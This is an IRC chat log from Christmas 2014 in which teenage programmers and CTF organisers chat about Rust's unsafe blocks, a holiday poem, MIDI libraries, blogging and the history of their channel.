[2014-12-25T14:56:13-0500] <@awe> From that LPATH benchmark project
[2014-12-25T14:56:15-0500] <@awe> "This led me to the somewhat frightening discovery that unsafe is not transitive: when I put the above code in the findPlaces function, that function doesn't need to be marked as unsafe and the code calling it doesn't need to be in an unsafe block."
[2014-12-25T14:56:26-0500] <@awe> This dude does not understand the purpose of unsafe in Rust.
[2014-12-25T14:56:41-0500] <@awe> It's not to describe unsafe behavior as part of the interface.
[2014-12-25T14:56:48-0500] <@awe> It's so that you know where to look when things break.
[2014-12-25T14:57:17-0500] <@awe> The idea is that if you write good code that's unsafe, things won't break.
[2014-12-25T14:57:33-0500] <@awe> So, you can wrap unsafe code in a safe interface and you know that if something went wrong, it was in the unsafe code.
[2014-12-25T15:11:39-0500] <hardmath123> Oh, are we bashing the only language I can speak?
[2014-12-25T15:11:45-0500] <hardmath123> :)
[2014-12-25T15:14:03-0500] <@awe> hardmath123: It's probably the same thing to you that I said to Jacob, but I obviously don't know you as well.
[2014-12-25T15:14:25-0500] <@awe> [14:44:44]  <@awe>	But seriously, JacobEdelman, you're deeply stunting growth in your ability to program by refusing to use a language that differs substantially from the scripted-dynamic-everything camp.
[2014-12-25T15:18:51-0500] <hardmath123> Yeah, probably.
[2014-12-25T15:46:43-0500] <hardmath123> http://hardmath123.github.io/night-after-christmas.html
[2014-12-25T15:46:46-0500] <hardmath123> Too much free time.
[2014-12-25T15:48:18-0500] <+Tamini> haha
[2014-12-25T15:48:38-0500] <+Tamini> oh my god that made my day
[2014-12-25T15:51:41-0500] <ubuntor_> lol, that's great
[2014-12-25T16:03:18-0500] <@awe> hardmath123: /s/Santa confessed./He was made to confess./
[2014-12-25T16:04:06-0500] <@awe>  /s/So Mrs. Clause began look/So, Mrs. Clause began looking/
[2014-12-25T16:04:48-0500] <@awe> hardmath123: experience doesn't rhyme with persistence.
[2014-12-25T16:06:05-0500] <@awe> well
[2014-12-25T16:06:09-0500] <@awe> it does, but it's not a perfect rhyme.
[2014-12-25T16:07:38-0500] <@awe> hardmath123: otherwise, I dig it.
[2014-12-25T16:07:50-0500] <+Tamini> well
[2014-12-25T16:07:56-0500] <+Tamini> halfrhymes are where its at
[2014-12-25T16:08:15-0500] <@awe> It's not a half-rhyme.
[2014-12-25T16:08:50-0500] <@awe> hardmath123: oh, just a semantic thing, you did quotations wrong.
[2014-12-25T16:08:57-0500] <@awe> hardmath123: you only end the quote and switch when there's a change in speaker.
[2014-12-25T16:09:05-0500] <@awe> hardmath123: I presume that the md5 hash line is still the same speaker as the previous line.
[2014-12-25T16:09:21-0500] <+Tamini> awe: is it not? is there a solid defition of a half-rhyme?
[2014-12-25T16:09:40-0500] <@awe> a half-rhyme is where two words end in the same consonants.
[2014-12-25T16:10:19-0500] <+Tamini> Uhh not all the time 
[2014-12-25T16:10:23-0500] <@awe> YEs.
[2014-12-25T16:10:27-0500] <@awe> That's the technical definition.
[2014-12-25T16:10:40-0500] <+Tamini> Oh, no other preceding sounds.
[2014-12-25T16:10:43-0500] <+Tamini> Okay, makes sense
[2014-12-25T16:11:16-0500] <@awe> experience and persistence is a weak rhyme because the stressed syllable is not the rhyming one.
[2014-12-25T16:11:37-0500] <@awe> the reason persistence and insistence rhyme is actually because of the sis.
[2014-12-25T16:12:28-0500] <@awe> I think it's a weak rhyme, anyway.
[2014-12-25T16:12:35-0500] <@awe> I'm not that great at this.
[2014-12-25T16:12:43-0500] <@awe> It's definitely not a half rhyme.
[2014-12-25T16:19:08-0500] <hardmath123> awe: I'll be honest, I spent waaay to long trying to use the word 'distance' there. But I eventually gave up.
[2014-12-25T16:19:26-0500] <hardmath123> awe: you can pretend I'm reading it in a thick Indian accent. then it works better.
[2014-12-25T16:19:29-0500] <hardmath123> :P
[2014-12-25T16:19:30-0500] <@awe> lol.
[2014-12-25T16:21:03-0500] <@awe> hardmath123: your post about Jazz being open source reminded me of my need to find an audio synthesis library.
[2014-12-25T16:21:22-0500] <@awe> hardmath123: something where I can put in notes and have it play music.
[2014-12-25T16:21:39-0500] <hardmath123> awe: ooh, there's this really cool packege on npm----wait, you hate javascript. :P
[2014-12-25T16:21:48-0500] <@awe> I can't use npm for it anyway.
[2014-12-25T16:22:01-0500] <@awe> I need to be able to call it from Rust.
[2014-12-25T16:22:04-0500] <@awe> So, preferably C.
[2014-12-25T16:22:17-0500] <@awe> If it's C, I can bindgen bindings to it.
[2014-12-25T16:22:22-0500] <hardmath123> awe: I've been doing markov-chain music generation this past week via MIDI.
[2014-12-25T16:22:28-0500] <@awe> That's what I want to do.
[2014-12-25T16:22:46-0500] <hardmath123> I used js-midgen to generate and Garageband to play generated files.
[2014-12-25T16:23:05-0500] <hardmath123> also to render them into mp3's
[2014-12-25T16:23:25-0500] <hardmath123> and then node-midi works to get MIDI input from my keyboard
[2014-12-25T16:23:55-0500] <@awe> My goal is to be able to make drone-style music programmatically.
[2014-12-25T16:25:09-0500] <@awe> hardmath123: is node-midi in JS or is it a wrapper?
[2014-12-25T16:25:19-0500] <@awe> WRAPPER!
[2014-12-25T16:25:20-0500] <@awe> WOO
[2014-12-25T16:25:37-0500] <@awe> RtMidi is C++.
[2014-12-25T16:30:29-0500] <@awe> So, no bindings.
[2014-12-25T16:30:32-0500] <@awe> Because C++.
[2014-12-25T16:42:00-0500] <hardmath123> Mhm
[2014-12-25T16:42:24-0500] <@awe> I can't find a single good option.
[2014-12-25T16:43:19-0500] <hardmath123> For writing files
[2014-12-25T16:43:20-0500] <hardmath123> ?
[2014-12-25T17:40:43-0500] <alokpathy> hardmath123: This is amazing.
[2014-12-25T17:41:18-0500] <+Tamini> You're a good poet
[2014-12-25T17:41:30-0500] <+Tamini> hardmath123: what kind of poem can i get for $0.50 :P
[2014-12-25T17:45:06-0500] <hardmath123> a limerick, but full-rhymes aren't guaranteed. :P
[2014-12-25T17:46:32-0500] <+Tamini> darn
[2014-12-25T17:46:36-0500] <+Tamini> how much for full rhymes? :P
[2014-12-25T17:47:53-0500] <+Tamini> also lol, how did you become so good at poetry
[2014-12-25T17:49:24-0500] <hardmath123> if more people publish poetry, then mine would be aptly mediocre in comparison. but most people don't publish, so mine appears to be good.
[2014-12-25T17:52:48-0500] <+Tamini> heh
[2014-12-25T17:52:55-0500] <+Tamini> well,  it's still something
[2014-12-25T17:53:34-0500] <hardmath123> so all morning, the TV was on on the fireplace channel
[2014-12-25T17:53:53-0500] <hardmath123> and my sister stared at that, ignoring the legit fire in the legit fireplace
[2014-12-25T17:53:59-0500] <hardmath123> :(
[2014-12-25T17:56:22-0500] <+Tamini> aww D:
[2014-12-25T17:56:26-0500] <+Tamini> we didnt even do christmas 
[2014-12-25T17:56:45-0500] <alokpathy> I got a mouse for Christmas
[2014-12-25T17:56:48-0500] <hardmath123> we don't do christmas either
[2014-12-25T17:56:51-0500] <alokpathy> partially because I needed one.
[2014-12-25T17:57:05-0500] <alokpathy> We celebrate Christmas from a consumer's perspective.
[2014-12-25T17:57:14-0500] <+Tamini> lol
[2014-12-25T17:57:18-0500] <+Tamini> my birthday's too close to christmas
[2014-12-25T17:57:34-0500] <hardmath123> aww
[2014-12-25T17:57:38-0500] <hardmath123> i don't have that problem
[2014-12-25T17:57:38-0500] <alokpathy> ;9
[2014-12-25T17:57:39-0500] <alokpathy> :(*
[2014-12-25T17:57:40-0500] <hardmath123> 6 months apart
[2014-12-25T17:57:49-0500] <alokpathy> 4 months apart, lol.
[2014-12-25T17:58:03-0500] <hardmath123> or 8, depending on which way you measure it :)
[2014-12-25T17:58:46-0500] <alokpathy> xD
[2014-12-25T17:58:50-0500] <alokpathy> True true
[2014-12-25T18:00:15-0500] <+Tamini> well distance is usually the shorter thing right :P
[2014-12-25T18:02:22-0500] <hardmath123> I live 24,900 miles away from school (if I start walking the wrong way).
[2014-12-25T18:05:56-0500] <hardmath123> awe: https://i.imgur.com/Clnnhm7.jpg
[2014-12-25T18:08:15-0500] <alokpathy> lololololol
[2014-12-25T18:26:33-0500] <ubuntor_> perfect
[2014-12-25T18:26:38-0500] ubuntor_ is now known as ubuntor
[2014-12-25T19:26:58-0500] <alokpathy> hardmath123: Found a typo in "Programming is not math."
[2014-12-25T19:27:06-0500] <alokpathy> "Learning programming isn’t a byproduct of learning CS, bur rather learning CS is a byproduct of learning programming."
[2014-12-25T19:27:25-0500] <alokpathy> s/bur/but
[2014-12-25T19:28:54-0500] <hardmath123> fixed, thanks.
[2014-12-25T19:29:22-0500] <alokpathy> Darn I wish I could write this well.
[2014-12-25T19:29:41-0500] <alokpathy> I should start a blog.
[2014-12-25T19:30:20-0500] <@awe> [18:05:56]  <hardmath123>	awe: https://i.imgur.com/Clnnhm7.jpg
[2014-12-25T19:30:23-0500] <@awe> hardmath123: did you make this?
[2014-12-25T19:31:00-0500] <@awe> Also, I don't know if I agree with the sentiment that alokpathy just quoted.
[2014-12-25T19:31:15-0500] <@awe> I know plenty of people who know how to program, but don't know anything about computer science.
[2014-12-25T19:31:53-0500] <hardmath123> awe: no, I found it on reddit
[2014-12-25T19:33:59-0500] <+Tamini> alokpathy: lol hardmath123 inspired me
[2014-12-25T19:34:22-0500] <alokpathy> Tamini: Oh you have a blog too?
[2014-12-25T19:34:30-0500] <@awe> I should write on my blog more.
[2014-12-25T19:34:34-0500] <hardmath123> alokpathy: yeah, go for it. CN's source is all on github. actually, CN has the capability for guest posts if you want to just dump words somewhere. :)
[2014-12-25T19:35:10-0500] <alokpathy> hardmath123: onice
[2014-12-25T19:35:47-0500] <hardmath123> alokpathy: of course, nobody's ever done it, so there's only a 12% chance it works.
[2014-12-25T19:35:54-0500] <alokpathy> lolololol
[2014-12-25T19:36:04-0500] <alokpathy> I have to finish my personal website anyways, so I guess I can add a blog to that while I'm at it.
[2014-12-25T19:36:58-0500] <+Tamini> alokpathy: i had one it's hidden :X
[2014-12-25T19:37:13-0500] <+Tamini> I might start one I actually do stuff on though.
[2014-12-25T19:37:22-0500] <alokpathy> Tamini: Lol I had a fail blog at one point.
[2014-12-25T19:37:33-0500] <alokpathy> Tamini: I meant for it to have tutorials and stuff, but I got lazy.
[2014-12-25T19:38:37-0500] <hardmath123> I love how Russian spammers now account for 90% of my traffic. xD
[2014-12-25T19:38:56-0500] <alokpathy> xD
[2014-12-25T19:39:23-0500] <+Tamini> lol
[2014-12-25T19:39:34-0500] <+Tamini> Yeah, I want one dedicated to CS-y things
[2014-12-25T19:39:35-0500] <+Tamini> <3
[2014-12-25T19:40:57-0500] <hardmath123> I reallly reallly reallly want this http://en.wikipedia.org/wiki/Nord_and_Bert_Couldn't_Make_Head_or_Tail_of_It
[2014-12-25T19:42:05-0500] <@awe> alokpathy: yeah, we all know from your recon problem.
[2014-12-25T19:42:24-0500] <alokpathy> awe: lolol yeah
[2014-12-25T19:43:50-0500] <alokpathy> My shame is now public.
[2014-12-25T19:44:11-0500] <@awe> I haven't written on my blog since October.
[2014-12-25T19:44:12-0500] <+JacobEdelman> hardmath123: you should have way too much time more often, http://hardmath123.github.io/night-after-christmas.html is brillant
[2014-12-25T19:44:24-0500] <+Tamini> wait
[2014-12-25T19:44:30-0500] <+Tamini> alokpathy had a recon problem
[2014-12-25T19:44:30-0500] <+Tamini> what
[2014-12-25T19:44:41-0500] <alokpathy> Tamini: Not for HSCTF.
[2014-12-25T19:44:43-0500] <+Tamini> also lol, all of us have seen all of awe's old blog entries
[2014-12-25T19:44:45-0500] <+Tamini> and ooh ooh
[2014-12-25T19:44:48-0500] <hardmath123> alokpathy: surely not http://alokpccs.blogspot.com ?
[2014-12-25T19:44:48-0500] <+Tamini> lemme solve your recon! <3
[2014-12-25T19:45:00-0500] <+Tamini> and hardmath123: nope
[2014-12-25T19:45:08-0500] <alokpathy> Tamini: The flag's gone :P
[2014-12-25T19:45:11-0500] <alokpathy> hardmath123: No that's not me LOL
[2014-12-25T19:45:17-0500] <hardmath123> whew
[2014-12-25T19:45:27-0500] <+Tamini> want a picture of alokpathy to make it easier? :P
[2014-12-25T19:45:35-0500] <+Tamini> also hardmath123: i want that too omg omg omg
[2014-12-25T19:47:10-0500] <hardmath123> Tamini: no I like to have friends who are associated with faces
[2014-12-25T19:47:25-0500] <+Tamini> wat
[2014-12-25T19:48:04-0500] <+JacobEdelman> do you mean arn't?
[2014-12-25T19:48:47-0500] <hardmath123> i mean
[2014-12-25T19:48:58-0500] <alokpathy> Or was it sarcasm?
[2014-12-25T19:49:11-0500] <+JacobEdelman> confused
[2014-12-25T19:49:12-0500] <hardmath123> it's more fun to only know you folks as "Tamini" and "alokpathy" and "awe"
[2014-12-25T19:49:31-0500] <+JacobEdelman> yeah, I bet you can't find the name of the person behind my username :P
[2014-12-25T19:49:33-0500] <hardmath123> oh wait, I forgot a `not` in there
[2014-12-25T19:49:34-0500] <alokpathy> hardmath123: You you did mean "aren't" instead of "are" :P
[2014-12-25T19:49:37-0500] <alokpathy> Yeah xD
[2014-12-25T19:49:40-0500] <@awe> https://dl.dropboxusercontent.com/u/8097711/myride.png
[2014-12-25T19:49:41-0500] <@awe> :)
[2014-12-25T19:49:49-0500] <hardmath123> i'm so confused
[2014-12-25T19:49:52-0500] <hardmath123> let
[2014-12-25T19:49:57-0500] <hardmath123> let's try that again
[2014-12-25T19:50:02-0500] <alokpathy> awe: Yooo it's your car.
[2014-12-25T19:50:11-0500] <alokpathy> awe: The car Berger and I chased that day.
[2014-12-25T19:50:13-0500] <+Tamini> lol
[2014-12-25T19:50:16-0500] <+Tamini> wat
[2014-12-25T19:50:20-0500] <+Tamini> you guys chased awe's car
[2014-12-25T19:50:27-0500] <+Tamini> are you guys literally dogs or something
[2014-12-25T19:50:30-0500] <hardmath123> I prefer to not know whom I'm talking to.
[2014-12-25T19:50:37-0500] <+Tamini> aw, how come?
[2014-12-25T19:50:42-0500] <alokpathy> hardmath123: Understandable, lol.
[2014-12-25T19:50:49-0500] <@awe> hardmath123: I'm the exact opposite.
[2014-12-25T19:51:10-0500] <+JacobEdelman> I don
[2014-12-25T19:51:16-0500] <+JacobEdelman> *I don't care too much
[2014-12-25T19:51:18-0500] <alokpathy> Tamini: awe was driving home from an HSCTF meeting (I think the last one), and Berger was giving me a ride home. We chased his car down to his house.
[2014-12-25T19:51:29-0500] <@awe> hardmath123: In fact, of everyone in my other IRC, I'm the most knowledgeable about people's real names.
[2014-12-25T19:51:35-0500] <+JacobEdelman> hmmm... we gotta have an hsctf meeting over break
[2014-12-25T19:51:42-0500] <alokpathy> JacobEdelman: I sent an email.
[2014-12-25T19:51:53-0500] <+JacobEdelman> I know the real name of almost everybody here
[2014-12-25T19:51:58-0500] <+JacobEdelman> but I forgot LittleBobbyTables 
[2014-12-25T19:52:07-0500] <@awe> hardmath123: There's a number of people who have completely separate meatspace and webspace identities, and I know their meatspace names.
[2014-12-25T19:52:30-0500] <@awe> JacobEdelman: It's called a legal name.
[2014-12-25T19:52:42-0500] <@awe> JacobEdelman: there's nothing more real about the name Aaron Weiss than there is about the name awe.
[2014-12-25T19:53:01-0500] <alokpathy> Tamini: awe ended up turning around to get into his garage and flashed his brights on us.
[2014-12-25T19:53:08-0500] <alokpathy> Tamini: Too much light D:
[2014-12-25T19:53:09-0500] <@awe> N.
[2014-12-25T19:53:13-0500] <@awe> My car does that when I shut it off.
[2014-12-25T19:53:14-0500] <+Tamini> aww
[2014-12-25T19:53:17-0500] <+Tamini> yeah, you're a dog.
[2014-12-25T19:53:26-0500] <alokpathy> awe: It does? o.O
[2014-12-25T19:53:28-0500] <@awe> Yes.
[2014-12-25T19:53:33-0500] <alokpathy> awe: That's weird.
[2014-12-25T19:53:39-0500] <@awe> It's not weird. It's a nicety.
[2014-12-25T19:53:41-0500] <+JacobEdelman> "7:50 PM <@awe> hardmath123: In fact, of everyone in my other IRC, I'm the most knowledgeable about people's real names."
[2014-12-25T19:53:48-0500] <alokpathy> awe: Is there a benefit to that?
[2014-12-25T19:53:50-0500] <+JacobEdelman> I was just copying you
[2014-12-25T19:53:53-0500] <@awe> JacobEdelman: I should've said legal names.
[2014-12-25T19:53:55-0500] <@awe> My b.
[2014-12-25T19:54:04-0500] <@awe> alokpathy: It's hard to see at night?
[2014-12-25T19:54:12-0500] <+LittleBobbyTables> It's James, obviously.
[2014-12-25T19:54:19-0500] <+JacobEdelman> Jacob
[2014-12-25T19:54:22-0500] <+JacobEdelman> that much I know
[2014-12-25T19:54:22-0500] <@awe> LittleBobbyTables: yeah, you're King James.
[2014-12-25T19:54:37-0500] <hardmath123> awe: i just fell in love with the world `meatspace`
[2014-12-25T19:54:38-0500] <@awe> Guys, I know JacobEdelman's real name.
[2014-12-25T19:54:42-0500] <@awe> and jwoglom.
[2014-12-25T19:54:45-0500] <+JacobEdelman> really?
[2014-12-25T19:54:47-0500] <jwoglom> hi
[2014-12-25T19:54:48-0500] <@awe> Yeah.
[2014-12-25T19:54:48-0500] <+JacobEdelman> whats mne?
[2014-12-25T19:54:50-0500] <alokpathy> awe: I meant is there a benefit to having your car automatically flash its brights when you turn it off.
[2014-12-25T19:54:51-0500] <+JacobEdelman> I wanna know
[2014-12-25T19:54:52-0500] <@awe> Jacob Edelman.
[2014-12-25T19:54:57-0500] <@awe> alokpathy: it doesn't flash them.
[2014-12-25T19:54:57-0500] <jwoglom> my nick kinda gives away my real name
[2014-12-25T19:54:58-0500] <+JacobEdelman> wooooo....
[2014-12-25T19:55:02-0500] <+JacobEdelman> how'd you guess
[2014-12-25T19:55:03-0500] <+LittleBobbyTables> JacobEdelman's real name is Veronica, right?
[2014-12-25T19:55:05-0500] <@awe> alokpathy: They turn on to illuminate the area around me.
[2014-12-25T19:55:10-0500] <@awe> jwoglom: Yeah, James Woglom.
[2014-12-25T19:55:19-0500] <jwoglom> awe: man you're good at this
[2014-12-25T19:55:22-0500] <@awe> I know, I'm so pro.
[2014-12-25T19:55:26-0500] <+JacobEdelman> LittleBobbyTables: yup, it used to be Jacob Edelman, but than I married so I changed it to Veronica Edelman
[2014-12-25T19:55:31-0500] <alokpathy> You can't get my entire name from my nick :P
[2014-12-25T19:55:36-0500] <+LittleBobbyTables> I knew it.
[2014-12-25T19:55:37-0500] <@awe> Your website even says it.
[2014-12-25T19:56:02-0500] <+JacobEdelman> I gotta go
[2014-12-25T19:56:03-0500] <@awe> jwoglom: lol
[2014-12-25T19:56:04-0500] <@awe> erm
[2014-12-25T19:56:06-0500] <@awe> JacobEdelman: lol
[2014-12-25T19:56:06-0500] <+JacobEdelman> to watch doctor who
[2014-12-25T19:56:10-0500] <@awe> that was humorous.
[2014-12-25T19:56:14-0500] <+JacobEdelman> DW FTW!
[2014-12-25T19:56:19-0500] <+JacobEdelman> right groot?
[2014-12-25T19:56:19-0500] <groot-bot> I am groot!
[2014-12-25T19:56:29-0500] <+JacobEdelman> yes you are!
[2014-12-25T19:56:45-0500] <+LittleBobbyTables> Does he ever say "we are groot"?
[2014-12-25T19:56:45-0500] <groot-bot> I am groot!
[2014-12-25T19:56:52-0500] <+Tamini> well I mean alok(trip)athy
[2014-12-25T19:56:59-0500] <+Tamini> it gives away more than kullalok did
[2014-12-25T19:57:04-0500] <alokpathy> yeah
[2014-12-25T19:57:08-0500] <alokpathy> But still :P
[2014-12-25T19:57:34-0500] <+Tamini> didnt i sorta make alokpathy happen
[2014-12-25T19:57:35-0500] <+Tamini> :P
[2014-12-25T19:57:47-0500] <alokpathy> Tamini: Yeah, lol.
[2014-12-25T19:57:58-0500] <alokpathy> Idk where apothy came from thouh.
[2014-12-25T19:58:00-0500] <alokpathy> though*
[2014-12-25T19:58:04-0500] <+LittleBobbyTables> Me
[2014-12-25T19:58:18-0500] <alokpathy> LittleBobbyTables: Ah xD
[2014-12-25T19:58:34-0500] <hardmath123> awe: I tried to make `root-bot`, but got banned with the message "Don't IRC as root!""
[2014-12-25T19:58:41-0500] <@awe> Yeah.
[2014-12-25T19:58:45-0500] <alokpathy> lololol
[2014-12-25T19:58:55-0500] <@awe> My IRCd is set to block usernames starting with root
[2014-12-25T19:58:59-0500] <+LittleBobbyTables> So guys, my mom might now not get better internet, because the TV that they offer has bad reviews.
[2014-12-25T19:59:17-0500] bot-root (bot-root@pdgn-1fv.ggl.o6nc3t.IP) joined the channel
[2014-12-25T19:59:24-0500] <hardmath123> I am root.
[2014-12-25T19:59:29-0500] <hardmath123> I am not root.
[2014-12-25T19:59:36-0500] <alokpathy> bob_twinkles: hello
[2014-12-25T19:59:38-0500] bot-root (bot-root@pdgn-1fv.ggl.o6nc3t.IP) left IRC (Connection closed)
[2014-12-25T19:59:42-0500] <alokpathy> Aw
[2014-12-25T19:59:46-0500] <+Tamini> we tried to make apathy and LittleBobbyTables changed it
[2014-12-25T19:59:49-0500] <+Tamini> and lol 
[2014-12-25T19:59:55-0500] <+Tamini> wrong ping?
[2014-12-25T20:00:32-0500] <alokpathy> oh oops
[2014-12-25T20:00:46-0500] <alokpathy> The downside of tab-complete.
[2014-12-25T20:01:04-0500] <@awe> On that note, hi bob_twinkles
[2014-12-25T20:01:16-0500] <@awe> bob_twinkles is on my top five for people here because he likes type systems.
[2014-12-25T20:01:42-0500] <alokpathy> awe: You have a list? :P
[2014-12-25T20:01:47-0500] <@awe> Of course.
[2014-12-25T20:01:55-0500] <+Tamini> can we know it?
[2014-12-25T20:01:55-0500] <+Tamini> :P
[2014-12-25T20:02:23-0500] <+LittleBobbyTables> What about me?
[2014-12-25T20:02:29-0500] <+LittleBobbyTables> I bet I'm at least top 20.
[2014-12-25T20:03:23-0500] <+Tamini> lol
[2014-12-25T20:03:27-0500] <+Tamini> there's 18 people, sweetie.
[2014-12-25T20:03:34-0500] <+Tamini> even less, counting bots and dupes
[2014-12-25T20:03:49-0500] <alokpathy> Tamini: Though I have a feeling awebot is number one.
[2014-12-25T20:03:58-0500] <+Tamini> alokpathy: nahhh, couldn't be.
[2014-12-25T20:04:07-0500] <+Tamini> awe is probably #1
[2014-12-25T20:05:00-0500] <alokpathy> Tamini: It's clearly alokpathy.
[2014-12-25T20:05:24-0500] <hardmath123> awebot isn't here
[2014-12-25T20:08:04-0500] <+Tamini> awe: you gotta help settle this
[2014-12-25T20:10:09-0500] <hardmath123> everyone with a computer should be forced to read this http://catb.org/%7Eesr/faqs/smart-questions.html
[2014-12-25T20:11:19-0500] <@awe> Well, it's not a hard list.
[2014-12-25T20:11:58-0500] <@awe> But top five in no specific order is probably Tamini, bob_twinkles, alokpathy, nezorg, and JacobEdelman.
[2014-12-25T20:12:07-0500] <+Tamini> d'awww <3
[2014-12-25T20:12:25-0500] <+Tamini> (poor hardmath123)
[2014-12-25T20:12:31-0500] <@awe> If anyone wants to replace JacobEdelman on this list, get into type systems.
[2014-12-25T20:12:37-0500] <@awe> I like hardmath123 a lot.
[2014-12-25T20:12:44-0500] <@awe> I like everybody here quite a bit.
[2014-12-25T20:12:51-0500] <+Tamini> also I'm pretty sure that would be the top 5 most talkative people on this channel with the exception of bob_twinkles
[2014-12-25T20:13:04-0500] • hardmath123: is proud to be liked by awe.
[2014-12-25T20:13:18-0500] <alokpathy> hardmath123: You should put it on your college apps.
[2014-12-25T20:13:22-0500] <+Tamini> I think hardmath123 is on my top 5 list :)
[2014-12-25T20:13:27-0500] <alokpathy> yeeee
[2014-12-25T20:13:30-0500] <+Tamini> he would definitely be if i got a limerick
[2014-12-25T20:13:31-0500] <+Tamini> :P
[2014-12-25T20:13:47-0500] <hardmath123> "Survived 1 month on an IRC channel without getting kicked out."
[2014-12-25T20:13:57-0500] <@awe> hardmath123: if you can learn Rust, you can kick JacobEdelman off the list. ;)
[2014-12-25T20:13:59-0500] <+Tamini> it's been a month already?
[2014-12-25T20:14:17-0500] <+Tamini> heh
[2014-12-25T20:14:22-0500] <+Tamini> I forget when you first joined.
[2014-12-25T20:14:29-0500] <+Tamini> I don't think I knew you during hsctf
[2014-12-25T20:14:32-0500] <@awe> Does anyone know what day I opened this network?
[2014-12-25T20:14:36-0500] <+Tamini> uhh
[2014-12-25T20:14:38-0500] <@awe> I need to know for posterity.
[2014-12-25T20:14:40-0500] <alokpathy> awe: Sometime in August, I think.
[2014-12-25T20:14:43-0500] <+Tamini> alok invited me to it on
[2014-12-25T20:14:55-0500] <+Tamini> 10/27
[2014-12-25T20:14:57-0500] <hardmath123> Tamini: during Pico when Jacob was like "this is where the cool kids hang out"
[2014-12-25T20:14:59-0500] <+Tamini> probably a bit earlier
[2014-12-25T20:15:06-0500] <+Tamini> hardmath123: well, he wasnt wrong <3
[2014-12-25T20:15:12-0500] <alokpathy> Oh, yeah
[2014-12-25T20:15:13-0500] <alokpathy> nevermind
[2014-12-25T20:15:19-0500] <alokpathy> awe invited me on Oct. 27th.
[2014-12-25T20:15:20-0500] <alokpathy> I was very off.
[2014-12-25T20:15:27-0500] <alokpathy> Wow it feels longer.
[2014-12-25T20:15:28-0500] <@awe> Let's see when I bought the VPS.
[2014-12-25T20:15:35-0500] <+Tamini> I know, right?
[2014-12-25T20:15:43-0500] <+Tamini> i just searched gchat for pdgn lol
[2014-12-25T20:16:04-0500] <alokpathy> Yeah same xD
[2014-12-25T20:17:17-0500] <@awe> Bought the VPS October 3, 2014.
[2014-12-25T20:17:39-0500] <hardmath123> My first weechat log is from 2014-11-04 18:07:35.
[2014-12-25T20:18:01-0500] <+Tamini> wait, seriously?
[2014-12-25T20:18:08-0500] <+Tamini> you joined a week in and I never noticed you?
[2014-12-25T20:18:08-0500] <+Tamini> LOL
[2014-12-25T20:18:15-0500] <alokpathy> hardmath123: Most people came during pico
[2014-12-25T20:18:25-0500] <+Tamini> everyone came during pico
[2014-12-25T20:18:25-0500] <alokpathy> JacobEdelman rounded them up.
[2014-12-25T20:18:32-0500] <+Tamini> heck, I came during pico and I was one of the first
[2014-12-25T20:18:51-0500] <alokpathy> Oh, wait, 27th is pico.
[2014-12-25T20:19:03-0500] <alokpathy> Yeah, everybody came during pico.
[2014-12-25T20:19:54-0500] <hardmath123> also, Tamini, haven't I already written you something? I recall gpg-ing it.
[2014-12-25T20:19:58-0500] <+Tamini> pico or later, basically
[2014-12-25T20:20:05-0500] <+Tamini> hardmath123: you wrote me a love letter, not a limerick
[2014-12-25T20:22:31-0500] <hardmath123> oh, yeah.
[2014-12-25T20:26:45-0500] <alokpathy> Hm nezorg hasn't been on lately.
[2014-12-25T20:29:03-0500] <@awe> Yeah, I miss that kid.
[2014-12-25T20:29:17-0500] <alokpathy> nezorg: Do you copy?
[2014-12-25T20:31:29-0500] <@awe> "I just started an irc network :D
[2014-12-25T20:31:29-0500] <@awe> It’s SSL-only and it currently only has me as the user and I haven’t written any of the services yet."
[2014-12-25T20:31:32-0500] <@awe> To alokpathy.
[2014-12-25T20:31:41-0500] <@awe> So, yes, I started it on October 27th.
[2014-12-25T20:33:16-0500] <+Tamini> lol
[2014-12-25T20:33:26-0500] <+Tamini> nezorg has been snapchatting me pretty regularly 
[2014-12-25T20:33:30-0500] <+Tamini> and he was on last night?
[2014-12-25T20:33:37-0500] <@awe> For the record, this IRC has a larger human population than my other one.
[2014-12-25T20:34:23-0500] <alokpathy> awe: vana?
[2014-12-25T20:34:26-0500] <@awe> Yeah.
[2014-12-25T20:34:35-0500] <@awe> They have three servers though.
[2014-12-25T20:34:42-0500] <@awe> And more channels and stuff.
[2014-12-25T20:34:51-0500] <alokpathy> I thought vana had lots of people, lol.
[2014-12-25T20:34:53-0500] <alokpathy> Were they mostly bots?
[2014-12-25T20:34:54-0500] <@awe> And more legitimate services than Pidgey.
[2014-12-25T20:35:06-0500] <@awe> There's 21 users online right now.
[2014-12-25T20:35:08-0500] <@awe> two of them are calc0000
[2014-12-25T20:35:24-0500] <@awe> 7 of them are bots.
[2014-12-25T20:35:39-0500] <+Tamini> LOL
[2014-12-25T20:35:42-0500] <@awe> And one of them hasn't said anything in over three years.
[2014-12-25T20:35:45-0500] <+Tamini> 7...
[2014-12-25T20:35:53-0500] <@awe> Yeah, a lot of the bots are mine.
[2014-12-25T20:36:09-0500] <alokpathy> awe: Are you counting NotAPharynx and zrl? They haven't done much.
[2014-12-25T20:36:18-0500] <@awe> NotAPharynx has spoken to me quite a bit.
[2014-12-25T20:36:20-0500] <@awe> He's cool.
[2014-12-25T20:36:24-0500] <@awe> He's got the awe seal of approval.
[2014-12-25T20:36:25-0500] <alokpathy> Oh really?
[2014-12-25T20:36:31-0500] <alokpathy> I haven't seen him on the main channel like
[2014-12-25T20:36:32-0500] <alokpathy> at all.
[2014-12-25T20:36:39-0500] <alokpathy> NotAPharynx: We don't bite :P
[2014-12-25T20:36:45-0500] <@awe> He had finals.
[2014-12-25T20:36:46-0500] <alokpathy> often.
[2014-12-25T20:36:50-0500] <alokpathy> Ah
[2014-12-25T20:36:59-0500] <@awe> But he said he'd be back on the weekend.
[2014-12-25T20:37:01-0500] <@awe> But I don't think he was.
[2014-12-25T20:37:04-0500] <@awe>  /shrug
[2014-12-25T20:37:15-0500] <alokpathy> The past weekend?
[2014-12-25T20:37:18-0500] <@awe> Yeah.
[2014-12-25T20:37:23-0500] <alokpathy> Hm, idk.
[2014-12-25T20:37:34-0500] <alokpathy> I feel bad Hcnsh left.
[2014-12-25T20:37:40-0500] <@awe> Why'd he leave?
[2014-12-25T20:37:41-0500] <alokpathy> No idea why.
[2014-12-25T20:37:50-0500] <@awe> sdamashek also left.
[2014-12-25T20:37:54-0500] <@awe> :c
[2014-12-25T20:37:54-0500] <alokpathy> Yeah, him too.
[2014-12-25T20:37:58-0500] <alokpathy> :(
[2014-12-25T20:38:09-0500] <alokpathy> Tamini: Get sdameshek back.
[2014-12-25T20:38:19-0500] <+Tamini> I did that once already
[2014-12-25T20:38:22-0500] <+Tamini> I don't want to do it again
[2014-12-25T20:38:22-0500] <alokpathy> benwaffle too.
